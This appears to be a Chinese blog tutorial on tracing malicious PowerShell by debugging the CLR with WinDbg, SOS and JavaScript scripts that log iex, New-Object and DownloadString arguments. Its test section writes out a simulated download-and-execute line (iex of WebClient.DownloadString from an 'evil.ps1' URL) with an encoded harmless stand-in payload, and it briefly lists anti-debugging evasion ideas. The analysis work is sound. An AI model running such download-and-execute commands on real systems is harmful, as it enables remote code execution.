现在的位置: 首页 PowerShell >正文

PowerShell恶意代码分析辅助:调试CLR

上一篇讲述了基于脚本层面覆盖的伪Hook方式,脚本方式胜在简单,但同样也存在诸多难以避免的问题。

例如(半)自动化分析时候难以对抗检测、对于复杂参数的Cmdlet要自己实现一套完整的对应参数绑定、无法跟踪原生.net类与方法调用等等。

鉴于上述情况,本篇将讲一个略复杂但更为有效的Hook方式:调试器法。即通过调试器+脚本,达到半自动分析的目的。

在开始阅读之前,请确保按照这篇文章调教好最新版本的windbg,或者去应用商店安装windbg preview(如果报错,同样参考前面文章进行解决)。

本文仅考虑x64环境,x86环境下请自行处理参数与调用约定的问题。


0x01 原理

有句话说得好,调试器中一切都是透明的。Windows下最好的调试器自然非windbg莫属。

作为(伪)安全研究人员,看待一些事物应当更加的深入本质一些。无文件攻击中的脚本跑起来需要宿主,而脚本宿主本身却是个有符号或源码的windows程序。借助合适的方法调教好调试器,即使恶意软件披上一层脚本的皮,依然难以遁形。


首先需要了解一个知识点:PowerShell是基于.net的,几乎所有的Cmdlet都对应一个[System.Management.Automation]System.Management.Automation.PSCmdlet或Cmdlet类的实现,参数则是一系列由ParameterAttribute标记的实例属性。

深入到.net层面,问题也就转换成了:如何调试一个.net程序并输出日志?vs这种重量级的自然想都不想,mdbg是个玩具,而windbg+sos+脚本刚好能完全满足易用与定制化的双重需求。


在调试一个对象之前,首先要得到其定义。具体到Cmdlet,则要找到所对应的类。

我们可以使用Get-Command命令得到任何一个Cmdlet的定义,其返回值为一个(默认情况下)或多个(存在重名情况)CommandInfo对象。对于Cmdlet,其实现为CmdletInfo,其中ImplementingType.AssemblyQualifiedName属性保存了Cmdlet类的*完全限定名称*。

例如,可以使用以下命令查看实现iex所属.net类的完全限定名称:

(Get-Command Invoke-Expression).ImplementingType.AssemblyQualifiedName

可以得到以下结果:

Microsoft.PowerShell.Commands.InvokeExpressionCommand, Microsoft.PowerShell.Commands.Utility, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35

用ILSpy打开GAC程序集,加载Microsoft.PowerShell.Commands.Utility并定位到InvokeExpressionCommand类,可以得到以下反编译结果:

1.png

如图可知,InvokeExpressionCommand类有且仅有一个重写的ProcessRecord方法,在方法内部会读取Command属性作为新的脚本块执行。

查看Command的setter,可看到是_command字段的简单包装:

2.png

所以整体的思路也就明晰了:对[Microsoft.PowerShell.Commands.Utility]Microsoft.PowerShell.Commands.InvokeExpressionCommand::ProcessRecord下断,打印或保存_command字段,最后恢复执行。


0x02 实现

对.net进行调试需要使用sos拓展,此拓展包含在.net framework中,提供了数十条用于调试.net程序的命令。

我们可以使用windbg附加一个运行中的PowerShell,然后通过以下命令加载sos:

.loadby sos mscorwks
.loadby sos clr

其中mscorwks/clr为.net运行时主模块。在.net 2.0/3.5版本中为mscorwks,对应win7/2003自带的PowerShell;在.net 4.0及以上版本为clr,对应win8或更高版本系统自带的PowerShell。


加载sos后,使用bpmd命令即可对某个类的方法进行下断:

!bpmd Microsoft.PowerShell.Commands.Utility.dll Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord

其中Microsoft.PowerShell.Commands.Utility.dll为类所在的程序集文件名(忽略NGen处理后的.ni),Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord为需要下断点的方法。

恢复程序运行,回到PowerShell中,调用iex进行测试,可以看到被成功断下:

3.png


遵从C++中的调用约定,.net经过JIT编译后实例方法同样为thiscall,此时rcx寄存器的值即为InvokeExpressionCommand类的实例。

我们可以使用!do命令对此实例进行dump:

4.png

可以看到,当前实例的_command字段值为f5d5de0,根据反编译结果,是一个字符串对象。

继续使用!do命令,可以得到以下结果:

5.png

红圈处即为iex命令的完整参数。


0x03 脚本化

实际分析过程中,由于可能存在多次调用或其他断点,我们不可能每次都手动进行上述一系列繁琐操作。

Windbg提供了数据模型接口(Debugger对象),JsProvider插件则提供了使用js语法(由chakra实现)编写脚本的功能。

数据模型接口实际上是由windbg提供的一系列方法和对象集合,包括当前调试会话、进程、线程、模块、寄存器、内存操作等等。参考msdn JavaScript调试器脚本一章可知,在脚本中可以使用内置变量host来进行访问。

(有关数据模型接口的详细信息,请参考附录中的dx命令、在Debugger对象上使用LINQ以及msdn其它相关文章)


现在的一个问题就是,sos仅仅是拓展命令的集合,并未提供自己的数据模型对象,我们只能通过分析命令输出的方式来进行处理。Debugger对象提供了Utility.Control.ExecuteCommand方法,在脚本中可通过host.namespace.Debugger.Utility.Control.ExecuteCommand进行调用:

function exec(s)
{
  var ret=[];
  var obj=host.namespace.Debugger.Utility.Control.ExecuteCommand(s);
  for(var line of obj)
  {
    ret.push(line);
  }
  return ret;
}

(方法本身返回一个iterator对象,由于在某些环境下可能出现无法使用下标或getValueAt进行索引访问的问题,为兼容性起见转换为数组)


在获取到命令输出后,根据结果的格式对其进行处理:

function dumpiex()
{
  if(isClrObject(null,'Microsoft.PowerShell.Commands.InvokeExpressionCommand'))
  {
    var command=getClrObjectField(null,'_command')
    if(command)
    {
      var str=getClrString(command);
      println('[+] begin command dump.');
      println('====================');
      for(var line of str)
      {
        println(line);
      }
      println('====================');
    }
    else
    {
      println('[x] no command field.');
    }
  }
  else
  {
    println('[x] @rcx not a Microsoft.PowerShell.Commands.InvokeExpressionCommand instance.')
  }
}
function getClrString(obj)
{
  var ret=[];
  if(!obj)
  {
    obj='@rcx';
  }
  var opt=exec('!do '+obj);
  var type=opt[0].split(' ').reverse()[0];
  if(type=='System.String')
  {
    var status=false;
    for(var i=0;i<opt.length;i++)
    {
      var line=opt[i];
      if(!status)
      {
        if(line.startsWith('String: '))
        {
          status=true;
          ret.push(line.substr(8));
        }
      }
      else
      {
        if(line=='Fields:' && opt[i+1].match(new RegExp('\\s+MT\\s+Field\\s+Offset\\s+','g')))
        {
          break;
        }
        else
        {
          ret.push(line);
        }
      }
    }
  }
  else
  {
    ret=type;
  }
  return ret;
}
function getClrObjectField(obj,field)
{
  if(!obj)
  {
    obj='@rcx';
  }
  var opt=exec('!do '+obj);
  for(var line of opt)
  {
    if(line.endsWith(field))
    {
      var data=line.split(' ').reverse();
      if(data[2]=='instance')
      {
        return data[1];
      }
    }
  }
  return false;
}
function isClrObject(obj,cls)
{
  if(!obj)
  {
    obj='@rcx';
  }
  var opt=exec('!do '+obj);
  return opt[0].endsWith(cls);
}

和0x02中的操作相同,首先获取当前实例中_command字段的地址,之后检测并提取其字符串值,最后将结果输出。


同样的,为bpmd做一个更为便捷的封装:

function clrbreak(asm,method,expr)
{
  sosInit();
  var opt=exec('!name2ee '+asm+' '+method);
  var addr='';
  var md='';
  for(var line of opt)
  {
    if(line.startsWith('MethodDesc:'))
    {
      md=line.split(' ')[1];
    }
    else if(line.startsWith('JITTED Code Address:'))
    {
      addr=line.split(': ')[1];
      break;
    }
  }
  if(md=='')
  {
    println('[x] method not found.');
    return;
  }
  if(addr=='')
  {
    println('[!] method not JITTED, expr was ignored.');
    println('[!] **notice: abstract or interface member were NEVER JITTED**.');
    exec('!bpmd '+asm+' '+method);
    return;
  }
  else
  {
    if(typeof(expr)!='undefined')
    {
      opt=exec('bp '+addr+' "'+expr+'"');
    }
    else
    {
      opt=exec('bp '+addr);
    }
    for(var line of opt)
    {
      println(line);
    }
  }
}


实际使用时还存在记录日志的需求,Debugger.Utility.FileSystem对象提供了一系列操作文件的方法,借此我们可以编写一个简单的日志记录:

function getWriter(name)
{
  if(logpath)//全局变量
  {
    var process=host.namespace.Debugger.State.DebuggerVariables.curprocess;
    var path=logpath+"\\"+process.Name+"_"+parseInt(process.Id)+"_"+name+".log";
    var writer=null;
    var file=null;
    if(host.namespace.Debugger.Utility.FileSystem.FileExists(path))
    {
      file=host.namespace.Debugger.Utility.FileSystem.OpenFile(path);
      file.Position=file.Size;
    }
    else
    {
      file=host.namespace.Debugger.Utility.FileSystem.CreateFile(path);
      file.WriteBytes([0xef,0xbb,0xbf]);//BOM
    }
    writer=host.namespace.Debugger.Utility.FileSystem.CreateTextWriter(file,'Utf8');
  }
  return {"File":file,"Writer":writer};
}

之后修改dumpiex函数进行调用:

function dumpiex()
{
  if(isClrObject(null,'Microsoft.PowerShell.Commands.InvokeExpressionCommand'))
  {
    var command=getClrObjectField(null,'_command')
    if(command)
    {
      var str=getClrString(command);
      var writer=getWriter("iex");
      println('[+] begin command dump.');
      println('====================');
      if(writer.Writer)
      {
        writer.Writer.WriteLine((new Date()).toLocaleString());
        for(var line of str)
        {
          println(line);
          writer.Writer.WriteLine(line);
        }
        writer.File.Close();
      }
      else
      {
        for(var line of str)
        {
          println(line);
        }
      }
      println('====================');
    }
    else
    {
      println('[x] no command field.');
    }
  }
  else
  {
    println('[x] @rcx not a Microsoft.PowerShell.Commands.InvokeExpressionCommand instance.')
  }
}

FileSystem对象在最新版本的Windbg Priview中提供,这也就是为什么要按照这篇文章进行移植的原因。


最后,为了在windbg中进行调用,可以在初始化函数中将dumpiex和clrbreak注册为拓展命令:

function initializeScript()
{
  //同名的LINQ方法无法在脚本中使用
  ''.__proto__.startsWith=function(s)
  {
    return this.indexOf(s)==0;
  };
  ''.__proto__.endsWith=function(s)
  {
    var index=this.lastIndexOf(s);
    return index!=-1 && index+s.length==this.length;
  };
  return [
  new host.functionAlias(dumpiex,'dumpiex'),
  new host.functionAlias(clrbreak,'clrbreak')
  ];
}


0x04 测试

用已调教好的windbg附加打开的PowerShell,之后执行:

.load jsprovider;.scriptload d:\script\iexdump.js;!clrbreak "Microsoft.PowerShell.Commands.Utility.dll","Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord","!dumpiex;g;";g;

其中d:\script\iexdump.js为0x03中的脚本路径。


在PowerShell中模拟一个恶意操作:

iex (new-object system.net.webclient).downloadstring('http://127.0.0.1/evil.ps1')

其中evil.ps1的内容为:

$cmd=[text.encoding]::utf8.getstring([convert]::frombase64string('d3JpdGUtaG9zdCAnemNnLm1hbHdhcmUucHMxLnRlc3QnDQpzdGFydC1wcm9jZXNzIGNhbGM='))
#write-host 'zcg.malware.ps1.test'
#start-process calc
iex $cmd

可以看到所有代码均被记录:

6.png

如果在脚本中配置了日志路径的话,还可以得到如下日志输出:

7.png


0x05 拓展

当然,某些时候不光要跟踪iex,或许还需要关注一下其他Cmdlet或者原生.net的调用等等。

对于Cmdlet,和0x02中的操作大同小异。首先使用Get-Command获取实现类的程序集,之后从程序集中定位到实现类,找到关键属性与对应字段,编写脚本进行处理即可。

以New-Object为例,当创建原生.net对象时,会使用TypeName属性,该属性为typeName字段的简单包装;当创建com对象时,会使用ComObject属性,该属性为comObject字段的简单包装。

根据dumpiex简单修改,可得到以下代码:

function dumpnewobj()
{
  sosInit();
  if(isClrObject(null,'Microsoft.PowerShell.Commands.NewObjectCommand'))
  {
    var typeName=getClrObjectField(null,'typeName');
    var comObject=getClrObjectField(null,'comObject');
    if(typeName && parseInt(typeName,16)!=0)
    {
      var str=getClrString(typeName);
      println('[+] CLR type: '+str);
    }
    else if(comObject && parseInt(comObject,16)!=0)
    {
      var str=getClrString(comObject);
      println('[+] COM type: '+str);
    }
    else
    {
      println('[x] no field found.');
    }
  }
  else
  {
    println('[x] @rcx not a Microsoft.PowerShell.Commands.NewObjectCommand instance.')
  }
}

在initializeScript最后添加一个拓展命令的注册:

new host.functionAlias(dumpnewobj,'dumpnewobj')

重新加载脚本,并使用以下命令下断。注意根据Cmdlet的具体实现,这里需要断下的方法为BeginProcessing:

!clrbreak "Microsoft.PowerShell.Commands.Utility.dll","Microsoft.PowerShell.Commands.NewObjectCommand.BeginProcessing","!dumpnewobj;g;"

最后我们将得到以下结果:

8.png


对于原生.net调用,首先查看msdn找到类所在程序集,之后定位到目标方法或关键属性及字段,最后进行处理。

以[System.Net.WebClient]::DownloadString(System.String)为例,在分析时我们可能不会关心当前WebClient的状态(因为一般来说并没有什么特殊配置),而对于下载地址可能是整个分析过程中相对重要的信息。

根据方法签名,可以知道下载地址为第一个参数,由于是实例方法,第一个参数保存在rdx寄存器中。

对getClrString函数进行简单包装,并注册为拓展命令:

function dumpstr(reason,obj)
{
  var str=getClrString(obj);
  println('[+] string for '+reason+' : '+str)
}
//in initializeScript
new host.functionAlias(dumpstr,'dumpstr')

根据具体方法进行下断(注意转义):

!clrbreak "System.dll","System.Net.WebClient.DownloadString","!dumpstr \\\"[System.Net.WebClient]::DownloadString\\\";g;"

最后将得到以下结果:

9.png


综上,调试器法除了需要手动附加/执行的缺点,单纯从跟踪记录的角度看功能还是非常强大的。

当然,或许有很多人的调试环境中已经通过某些工具为powershell配置了自动挂起,这个缺点实际上影响会更小。


最后,可能有人注意到了几乎所有Cmdlet的方法和属性都有下面这段代码:

using (XXXCommand.tracer.TraceMethod())
{
  //do something
}

这是PowerShell本身自带的Trace功能,例如可以使用以下语句进行开启针对iex的Trace:

Set-TraceSource -Option All -Name InvokeExpressionCommand -PSHost

之后执行iex,可以看到以下输出:

10.png

但可惜的是微软并没有提供有效的接口来进行自定义操作。实现类PSTraceSource仅仅使用了StackTrace进行调用跟踪,而StackTrace/StackFrame本身是不包含参数信息的。

无法获取参数,也就使得Trace功能只是一个鸡肋。

或许可以通过Trace功能来记录所有的Cmdlet调用,之后分析输出结果,最终实现流程跟踪并生成行为指纹?其实是个不错的主意,但工程量或许太大了些。


0x06 对抗

单纯从检测方面来看,难度并不是很大,毕竟回归了最原始的反调试,IsDebuggerPresent、PEB、HeapFlags以及各种其他API等等都可以写成ShellCode来用。

为了避免Add-Type的源码编译行为,各种API以及ShellCode的调用可以使用GetModuleHandle+GetProcAddress的组合。mscorlib、System等多个程序集里面都存在这两个API,也有大量的恶意软件实现了武器化。


但从实际的角度来看,从ShellCode的层面执行后再转回PowerShell完全多此一举。或许纯PowerShell实现的恶意软件需要这些,只可惜并不常见。现今市面上的恶意软件更多情况下是在Memory Module或.net Assembly层面存在这些检测,外面的脚本调用层一般是没有这些的。

所以调试器法除了略繁琐些还是很靠谱的。借助合适的脚本,至少能把PowerShell和.net层面的做的事摸个清楚,顺便还能结合积累的脚本调试一下后续的操作之类。


0x07 参考链接

sos:https://docs.microsoft.com/en-us/dotnet/framework/tools/sos-dll-sos-debugging-extension

JavaScript调试脚本:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/javascript-debugger-scripting

dx命令:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/dx--display-visualizer-variables-

在Debugger对象上使用LINQ:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/using-linq-with-the-debugger-objects

JavaScript拓展中的内置调试对象:https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/native-objects-in-javascript-extensions


完整的调试脚本下载:       PowerShellHelper.zip

解压密码见注释。